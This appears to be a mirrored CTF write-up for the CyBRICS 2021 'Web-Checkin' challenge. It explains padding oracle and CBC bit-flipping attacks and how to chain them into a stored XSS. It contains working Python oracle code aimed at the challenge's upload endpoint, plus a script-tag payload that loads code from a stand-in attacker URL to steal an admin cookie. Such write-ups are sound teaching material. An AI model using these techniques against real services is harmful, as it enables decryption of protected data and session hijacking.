[Mirror] Writeup for Web-Checkin in CyBRICS CTF 2021

This is an (raw) English version of the post at https://www.anquanke.com/post/id/249223

TL;DR

Padding Oracle Attack + Bit Flip Attack + XSS

This is a hard web challenge in CyBRICS CTF 2021 . For some reason, the challenge was ZERO solved during the competition. The author fixed some bugs after the competition and announced that anyone who solved the challenge would receive a reward. We managed to solve it and were one of the only two teams that claimed the reward.

The crypto part is done by me , and the web part is done by Zeddy .

Reconnaissance

This challenge simulates a flight booking site, where we can search for flight tickets, buy tickets, and upload tickets to be registered.

By submitting a form on http://207.154.224.121:8080/finalize?fisrtName=xxx&lastName=xxx , we will receive an Aztec code, which embeds a piece of base64-encoded data.

We can upload the Aztec code through http://207.154.224.121:8080/upload , and get a successful “you are now registered” response (but this’s not what we want).

Later, we found something interesting after changing some bytes of the base64-encoded data. We got a “PADDING_ERROR” response by modifying some byte of the data. It immediately occurred to us that this might well be an instance of padding oracle attack.

To confirm the intuition we just developed, we generated an Aztec code, base64 decoded it into ciphertext, XORed every 256 possible byte value (0~256) in the last byte of the second last ciphertext block, base64 encoded back to an Aztec code (utilizing python aztec_code_generator module) and uploaded the Aztec code to the server. We received 256 responses, 255 of whose status code is 200, with only one response whose status code is 500. Among the 255 responses, XORing by b"\x00" in the last byte got a “Success” response and the remaining 254 are all “PADDING_ERROR” responses. This implied that only the “Success” response one and the 500 status code one got correctly padded plaintext after decryption on the server-side. The “Success” response was due to its original unmodified padded plaintext, while the 500 status code one was because the plaintext after decryption was somewhat modified to be correctly padded and we can gain knowledge of the last byte of the original plaintext by making use of this.

By continuously sending carefully modified ciphertext to the server and then distinguishing whether or not the server responses with “PADDING_ERROR”, we can recover the whole plaintext byte by byte. This is the so-called padding oracle attack .

Padding Oracle Attack

So, how does the padding oracle attack work?


First, we need to understand what is padding.

It is known that block ciphers can transform (encrypt/decrypt) a plaintext/ciphertext block, 16 bytes data in the case of AES, into a ciphertext/plaintext block. Using some block cipher mode of operation, we can repeatedly apply the block cipher encrypting/decrypting operation on an amount of data whose length is more than a block. For example, the AES-CBC mode can encrypt/decrypt multiple blocks. But what if the length of data is not a multiple of the block length? The answer is to use some kind of padding method, which append some data at the end of the last block to make it a full block.

One of the most widely used padding methods is PKCS#7 padding method. PKCS#7 first calculates the number of bytes ( pad_length) to be padded, and then appends to the last plaintext block pad_length bytes, with each byte value being pad_length. Upon unpadding, the last byte of the decryption result is extracted and parsed as the pad_length, after which pad_length long bytes are truncated at the end. Below is a Python implementation of PKCS#7 padding and unpadding.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def pad(pt):
    pad_length = 16 - len(pt)%16
    pt += bytes([pad_length]) * pad_length
    return pt

def unpad(pt):
    pad_length = pt[-1]
    if not 1 <= pad_length <= 16:
        return None
    if pad(pt[:-pad_length]) != pt:
        return None
    return pt[:-pad_length]

Note that a valid padding check is done after unpadding. This means that only the following 16 formats of the last block are considered valid. All the other formats of data are invalid and will produce a PADDING_ERROR response, which is a padding oracle that we will exploit later.

Another point to be noted is that, even if the length of the plaintext is a multiple of the block size, padding is still needed. In this case, 0x10 bytes will be appended, with each byte value being b"\x10".

image-20210729103443272valid padded plaintext


Before moving on, we also need to be similar with AES-CBC, which is the most common mode that the padding oracle attack can be mounted on.

In CBC mode, the plaintext is padded and divided into several plaintext blocks. Each plaintext block is XORed with the previous ciphertext block before being AES encrypted. The first plaintext block is XORed with a randomly generated initialization vector (IV). The final encryption result is the concatenation of the ciphertext blocks with IV at the head. Decryption just reverses these operations.

image-20210729140911415AES-CBC

One significant drawback of AES-CBC is that it does not solely provide integrity protection. In other words, the attacker can modify the ciphertext (such as bit flipping) and send the modified ciphertext to the server without being noticed. This gives way to the padding oracle attack.


Now, we are going to elaborate how the padding oracle works.

Suppose the attacker has possession of a ciphertext which can be divided into an IV and 3 ciphertext blocks c1, c2, c3. The purpose of the attacker is to decrypt the last ciphertext block c3.

The attacker changes the last byte of c2 (XORed with some value), and then sends it to the server. The server responses with either a “PADDING_ERROR” response or a 500 status code response. If we get a 500 status code response, we succeed. This implies that the unpadding check is passed, and the last plaintext block MUST end with b"\x01", one of the 16 valid padding formats.

image-20210729175108696padding oracle attack on the last byte

After recovering the last byte, we can move on to decrypt all the previous bytes of the last plaintext block. For example, to decrypt the second last byte, we can utilize the b"\x02\x02" padding format. Since we already have had knowledge of the last byte of plaintext, we can modify the last byte into any value we want by XOR something in c2. At present, what we want is to make the last byte be b"\x02", we XOR the last byte of c2 with the last byte of plaintext to cancel it into b"\x00", then XOR in b"\x02", resulting to b"\x02". Then, try every 255 possible byte value guess_byte XOR b"\x02" (except b"\x00") to XOR with the last second byte of c2, and send the modified ciphertext to the padding oracle until a 500 status code response, thus recovering the second last plaintext byte, which is exactly guess_byte. The following is the Python code that can be used to, given ciphertext, recover the last plaintext block.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import base64

import aztec_code_generator


# padding_oracle recovers the last 16 plaintext bytes of the given ciphertext
def padding_oracle(cipher):
    plaintext = b""
    for index in range(1, 17):
        print(f"[*] index: {index}")
        for byte in range(0, 256):
            bytes_xor = b"\x00"*(16-index)+bytes([byte^index])+xor(plaintext,bytes([index]*(index-1)))
            new_cipher = cipher[:-32] + xor(cipher[-32:-16], bytes_xor) + cipher[-16:]

            b64data = base64.b64encode(new_cipher)
            code = aztec_code_generator.AztecCode(b64data)
            code.save(f"./pics/{byte}.png", module_size=4)

            f = open(f"./pics/{byte}.png", "rb").read()
            paramsMultipart = [('file', ('1.png', f, 'application/png'))]
            response = session.post("http://207.154.224.121:8080/upload", files=paramsMultipart)

            if response.status_code == 200:
                body = response.content.split(b'<div class="content__i">')[1].split(b"div")[0]

                if b"PADDING" in response.content:
                    print(f"[{byte:>3d}] Status code: {response.status_code}, PADDING ERROR")
                else:
                    print(f"[{byte:>3d}] Status code: {response.status_code}, {body}")
            else:	# response.status_code == 500
                print(f"[{byte:>3d}] Status code: {response.status_code}")
                plaintext = bytes([byte]) + plaintext
                print(f"plaintext: {plaintext}")
                break
    return plaintext

Recovering the Entire Plaintext

By exploiting the padding oracle, we are enabled to decrypt the last plaintext block byte by byte. Can we go any further? The answer is yes.

Once we have recovered the last plaintext block, we can drop the last ciphertext block, and continue to exploit the padding oracle to recover the second last plaintext block. Keep doing this, and we will recover all the plaintext blocks, namely the entire plaintext.


In practice, we implemented the attack and successfully recovered the entire plaintext, which was JSON formatted data.

1
b'{"name": "12321", "surname": "123", "middle": "1", "time": "2021–07–26 13:37:00", "dest": "", "dep": "", "flight": "BLZH1337"}\x02\x02'

At this point, we came to realize how the server-side might process the uploaded Aztec code. After receiving the code, the server decoded it into ciphertext, decrypted the ciphertext, and unpadded the decryption result. If something wrong happened during unpadding, the server replied with a “PADDING_ERROR” response. After unpadding, the plaintext was then unmarshaled into an object (by something like JSON.parse()). If any error occurred, the server replied with a 500 status code response. The server would send back a “Success” response if everything’s ok.

Arbitrary Plaintext Encryption

Recovering the entire plaintext is not enough to solve this challenge. We can go more further to craft the ciphertext of arbitrary plaintext that we want.

To achieve this goal, we need to combine the bit flipping attack with the padding oracle attack. Bit flip attack enables us to change the plaintext into what we want, and the padding oracle attack functions as a decryption oracle to help us decrypt any ciphertext.

Say the ciphertext IV || c1 || c2 || c3 decrypts into p1 || p2 || p3, and we want to get the ciphertext of p1' || p2' || p3.

image-20210729181535279IV || p1 || p2 || p3 <==AES==> IV || c1 || c2 || c3

We first XOR c1 with p2 XOR p2' to get c1'. In this way, IV || c1' || c2 || c3 will be decrypted into junk || p2' || p3.

image-20210729181301243IV || junk || p2' || p3 <==AES==> IV || c1' || c2 || c3

The nasty junk block consists of random byte values, which is unknown to us, and the decryption result cannot be parsed correctly by JSON.parse(). What we can do with it? Remember the padding oracle attack to recover the last plaintext block? Yes, we can reuse the padding oracle attack to recover the junk block. After that, we XOR IV with junk XOR p1' to get a new IV'. In this way, IV' || c1' || c2 || c3 will be decrypted into p1' || p2' || p3, which is exactly we want!

image-20210729182312222IV' || p1' || p2' || p3 <==AES==> IV' || c1' || c2 || c3

The XSS Part

So we could encrypt what we want now. What should we do next? According to the description of the challenge, we have to go and get the content of the central surveillance system to get the information of Mr.Flag Flagger. But how?

Let’s take a look at the JSON. There may be a bot in the backend using JSON.parse() to parse the JSON and some method to render a page with these JSON data. For example, res.render("render.html", name=json.name, surname=json.surname). So we could try to inject an XSS vector into the plaintext, encrypt it and then send the payload to the bot through the upload API.

But, at first, we need to understand the correspondence between API parameters and JSON parameters. After a bit of testing, we generate a ciphertext through the /finalize API and decrypt the ciphertext to get the correspondence.

URL:
http://207.154.224.121:8080/finalize?lastName=1&firstName=2&origin=3&Gender=4&destination=5
CipherText:
8BAHi37U69MYAnP4O4cHrpRIJrT3dKwv7uRCoLYzU2vnxEOCb6vT0LffcAROX3jPZ+p4yDtKRXwcxYF9B22a3PH3m9tIiEDc3OrwR9W/ACyIcPw7XEJKAyB3QlHiFn2j0HC8P8SpwFqe4A/NRCESLI996IzP9Rkw066eGSuK0MxhpBXGV2gqfm4FAgqTLE3N
PlainText:
b'{"name": "2", "surname": "1", "middle": "4", "time": "2021–07–26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}'

Okay. But which one we should inject the XSS vector? You could try one by one but I think there is a hint in the source code of the challenge.

1
2
3
4
5
<! - 
<h2>Passenger data</h2>
<h3>Name:</h3>
<h4>qweqwe</h4>
 →

It looks like the Name is what we want. So we should craft a payload like this.

1
{"name": "<script src=http://your_url/?2></script>", "surname": "1", "middle": "4", "time": "2021–07–26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}

When we generate the ciphertext, we first need to generate a cipher whose length of the name parameter is the same length as the name parameter in the XSS payload we constructed. In this example, the name is <script src=http://your_url/?2></script> and its length is 40. Therefore, we should generate a ciphertext with a name of length 40 through the /finalize API. And we’d better leave the other parameters as default values.

URL:
http://207.154.224.121:8080/finalize?lastName=1&firstName=0000000000000000000000000000000000000000&origin=3&Gender=4&destination=5
PlainText:
b'{"name": "0000000000000000000000000000000000000000", "surname": "1", "middle": "4", "time": "2021–07–26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}'

After we get the ciphertext, we need to change the plaintext of the ciphertext using padding oracle and bit flipping. And then use base64 and Aztec code to encode the ciphertext and upload the Aztec code. At last, XSS fires!

XSS payload response

Now, we got the admin’s cookie and the source code of the admin’s page. Using the cookie to visit the page as admin, we found the page only had a search function. I thought I was supposed to do SQL injection to get the flag. But at last, we just searched ‘Flagger’ as described in the challenge and got the flag.

get flag

Thanks for your reading. Hope you like the writeup! XD